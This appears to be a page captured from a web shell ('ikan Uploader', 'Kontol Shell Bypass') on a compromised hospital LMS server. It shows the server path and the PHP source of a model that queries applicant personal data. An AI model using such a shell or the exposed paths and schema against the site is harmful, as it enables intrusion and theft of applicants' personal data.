ikan Uploader :
Directory : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/
Upload File : |
| Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/Campus_model.php |
<?php
class Campus_model extends CI_Model {
function lists($export=FALSE){
$qs=trim_array($this->input->get());
if($qs['k']){
$this->db->group_start()
->like('C.title', $qs['k'])
->or_like('A.name', $qs['k'])
->or_like('A.email', $qs['k'])
->or_like('A.mob', $qs['k'])
->group_end();
}
if($qs['campus_id']){
$this->db->where_in("CV.campus_id", $qs['campus_id']);
}
if($qs['fromDate']){
$this->db->where("CV.visit_datetime >=", date('Y-m-d', strtotime($qs['fromDate'])));
}
if($qs['toDate']){
$this->db->where("CV.visit_datetime <=", date('Y-m-d 23:59:59', strtotime($qs['toDate'])));
}
if($qs['followup_status']){
$this->db->where_in("CV.followup_status", $qs['followup_status']);
}
$this->db->select("CV.id, CV.visit_datetime, CV.created, CV.followup_status, C.title campus, A.name, A.email, A.mob, A.father_name, A.gender, A.dob, A.address, A.city, ST.title AS state, A.pincode, A.utm_source, AP.application_no, AP.step_completed, PP.title AS plan, P.title AS program, AC.title AS ac")
->from("campus_visits AS CV")
->join("master_campus C", "C.id=CV.campus_id")
->join("applicants AS A", "A.id=CV.applicant_id")
->join("master_states AS ST", "ST.id=A.state_id")
->join("applications AS AP", "AP.id=CV.application_id")
->join("master_program_plans AS PP", "PP.id=AP.plan_id")
->join("master_programs AS P", "P.id=PP.program_id")
->join("master_academic_careers AS AC", "AC.id=P.ac_id")
->order_by("CV.visit_datetime", "ASC");
$ps=50;
if($export){
$ps=100000;
}
$rs=$this->dba->pagedRows($qs['p'], $ps, 5, $export?'0':'');
foreach($rs['result'] as &$r){
$r['created']=get_date($r['created']);
$r['visit_date']=get_date($r['visit_datetime']);
$r['visit_time']=date('h:i A', strtotime($r['visit_datetime']));
$r['dob']=get_date($r['dob']);
}
return $rs;
}
function detail($id){
}
function delete($id){
$this->db->db_debug=FALSE;
return $this->db->delete("campus_visits", array('id'=>$id));
}
/** campusVenues */
function campusVenues(){
$qs=trim_array($this->input->get());
if($qs['k']){
$this->db->like('title', $qs['k']);
}
$rs=$this->db->select("*")->from("master_campus")->order_by("disp_odr")->get()->result_array();
foreach($rs as &$r){
$r['image_url']=$r['image']?UP_URLF.'campus/'.$r['image']:'';
}
return $rs;
}
function campusVenueDetail($id){
$rs=$this->db->get_where("master_campus", array('id'=>$id))->row_array();
if($rs){
$rs['image_url']=$rs['image']?UP_URLF.'campus/'.$rs['image']:'';
$rs['times']=explode(",", $rs['times']);
}
return $rs;
}
function deleteCampusVenue($id){
$this->db->db_debug=FALSE;
return $this->db->delete("master_campus", array('id'=>$id));
}
}
//End of file
Kontol Shell Bypass